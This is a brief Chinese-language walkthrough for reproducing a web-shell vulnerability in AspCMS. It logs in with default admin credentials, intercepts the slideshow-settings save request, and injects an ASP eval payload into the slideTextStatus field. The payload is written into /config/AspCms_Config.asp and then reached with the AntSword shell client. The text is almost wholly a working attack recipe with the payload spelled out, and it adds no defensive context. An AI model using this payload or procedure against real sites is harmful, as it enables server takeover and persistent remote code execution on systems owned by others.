aspcms webshell漏洞复现

步骤一：/admin_aspcms/login.asp访问后台，admin 123456 登录

步骤二：点击【扩展功能】【幻灯片设置】点击【保存】开启代理进行抓包

步骤三：.在抓取的数据包中修改 slideTextStatus 字段的值为以下代码并进行发包 访问影响文件

字段值
1%25><%25Eval(Request (chr(65)))%25><%25 密码是a

影响文件
/config/AspCms_Config.asp

步骤四：蚁剑连接